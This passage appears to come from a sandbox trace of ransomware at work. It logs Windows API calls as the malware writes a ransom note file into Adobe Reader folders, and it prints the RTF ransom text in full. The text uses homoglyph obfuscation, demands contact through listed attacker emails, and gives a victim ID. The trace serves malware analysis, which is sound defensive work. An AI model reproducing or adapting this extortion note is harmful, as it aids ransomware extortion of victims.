\\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n}ûÃ\x11q\x12©ô\x8a5;ä\x1bú\x9b\x06\nÛ4¬ú°­Øw±´d4\x8d\x03\x17", lpUsedDefaultChar=0x0) returned 14086 [0042.365] WriteFile (in: hFile=0x1ac, lpBuffer=0x25c4dd8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x25c4dd8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0042.366] CloseHandle (hObject=0x1ac) returned 1 [0042.366] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services\\!bwng_info!.rtf")) returned 0xffffffff [0042.366] GetLastError () returned 0x2 [0042.366] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ro_RO\\Services\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ro_ro\\services\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac [0042.367] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 